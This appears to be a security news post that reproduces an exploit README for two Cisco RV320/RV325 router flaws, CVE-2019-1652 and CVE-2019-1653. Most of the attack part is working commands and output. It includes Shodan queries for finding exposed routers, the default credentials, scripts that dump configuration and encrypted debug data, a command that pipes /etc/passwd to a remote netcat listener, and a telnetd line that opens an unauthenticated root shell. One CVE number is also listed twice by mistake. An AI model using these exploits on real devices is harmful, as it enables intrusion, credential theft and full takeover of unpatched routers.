Cisco Routers Hacked By Using New Exploit

CISCO Routers
CISCO Routers

Two vulnerabilities found in Cisco Routers CVE-2019-1653 and CVE-2019-1652 were discovered by German Security Researchers.

  • CVE-2019-1653 – To allows a remote attacker to get sensitive device configuration details without a password.
  • CVE-2019-1653 – To allows a remote attack to inject and run admin commands on the device without a password.

Proof of Concept (POC)

CVE-2019-1652 /CVE-2019-1653 Exploits For Dumping Cisco RV320 Configurations & Debugging Data AND Remote Root Exploit!

CiscoRV320Dump
CVE-2019-1653/CVE-2019-1652 Exploits For Dumping Cisco RV320 Configurations and getting RCE

Implementations of the CVE-2019-1652 and CVE-2019-1653 exploits disclosed by Red Team Pentesting GmbH.

I only tested these on an RV320, but according to the Cisco advisory, the RV325 is also vulnerable.

The following Shodan queries appear to find them, if you are curious about how many are out there. There seems to be quite a few…

  • ssl:RV320
  • ssl:RV325
  • port:161 RV325
  • port:161 RV320

The vulnerabilities allow for the following:

  • Dumping (Plaintext) Configuration File! (includes hashes for the webUI!)
  • Dumping (Encrypted) Diagnostic/Debug Files! (including config, and the /etc and /var directories)
  • Decrypting the encrypted Diagnostic/Debug Files! (yes, you get /etc/shadow!)
  • Post-Authentication Remote Command Injection as root in the webUI!

As an aside, the default creds are cisco:cisco.

Exploits.

Config Dumper Exploit.
For the configuration dump exploit, just set target, port, ssl on/off, and output directory. It will dump the configuration to there.

$ python dump_config.py -t x.x.x.x -p 8443 -s -d output
{+} Sending request to https://x.x.x.x:8443/cgi-bin/config.exp
{*} We seem to have found a valid config! Writing to output/x.x.x.x_8443.conf
$

Debug Data Dumper Exploit.
For the debug data dumping exploit, it is the same routine, but the dumped data is larger and encrypted. You will want to decrypt this using the provided “decrypt.sh” script, or manually using openssl. This will give you a tar file. The debug output not only gets you the config, but also backups of /etc and /var, and yes, the /etc/shadow/ file is present. I’ll eventually rewrite the decryption script in Python, but this was a quick kludge.

$ python dump_debug.py -t x.x.x.x -p 8443 -s -d output
{+} Sending request to https://x.x.x.x:8443/cgi-bin/export_debug_msg.exp
{*} We seem to have found a valid encrypted config! Writing to output/x.x.x.x_8443.enc
$ ./decrypt.sh output/x.x.x.x_8443.enc
Cisco Encrypted Debug Data Decryption Script!
{+} Decrypting output/x.x.x.x_8443.enc
{+} Plaintext should be at output/x.x.x.x_8443.enc.decrypted.tar.gz...
$

Using the creds you get from these (hashed) you can then exploit CVE-2019-1652 to execute commands on the device.

A few notes on the “hashing” of the password, before we go any further. On these, in the config file, you will find a variable named PASSWD followed by an md5 hash. This md5 hash is md5($password.$auth_key), where the auth_key is a static value you can find by doing a GET / and parsing. There is a seemingly common one that I hardcoded into the RCE exploit as a fallback incase the page parser bullshit regex fails.

Post-Auth RCE Exploit
CVE-2019-1652 outlines a trivial shell command injection vulnerability, which requires authentication. exec_cmd.py implements this, assuming you have valid login creds. “cisco:cisco” is the default, but you could also crack some hashes.

The command injection is blind, so you won’t get any output. The environment is an incredibly limited Busybox setup with a crippled netcat, and the boxes are mips64, so I didn’t bother writing a reverse-shell exploit this time. You can, however, get command output by doing stuff like cat /etc/passwd | nc HOST PORT and having a listener running, or whatever.

You can also inject a command like telnetd -l /bin/sh -p 1337 and connect to the resultant telnet service, which will serve you up a nice unauthenticated root shell.

Example run of the exploit below:

$ python exec_cmd.py -t x.x.x.x -s -p 8443 -U cisco -P cisco -c "cat /etc/passwd | nc x.x.x.x 1337"
{+} Sending request to https://x.x.x.x:8443/ to extract auth key...
{*} Got auth_key value: 1964300002
{+} Login Successful, we can proceed!
{+} Ok, now to run your command: cat /etc/passwd | nc x.x.x.x 1337
{+} We don't get output so... Yeah. Shits blind.
$
# on listener...
$ nc -lp 1337
root:x:0:0:root:/:/bin/admin
nobody:x:0:0:nobody:/nonexistent:/bin/false
_lldpd:x:501:501:_lldpd:/:/bin/sh
cisco:x:0:0:root:/bin:/bin/admin

$

Cisco Team have patched these vulnerabilities.

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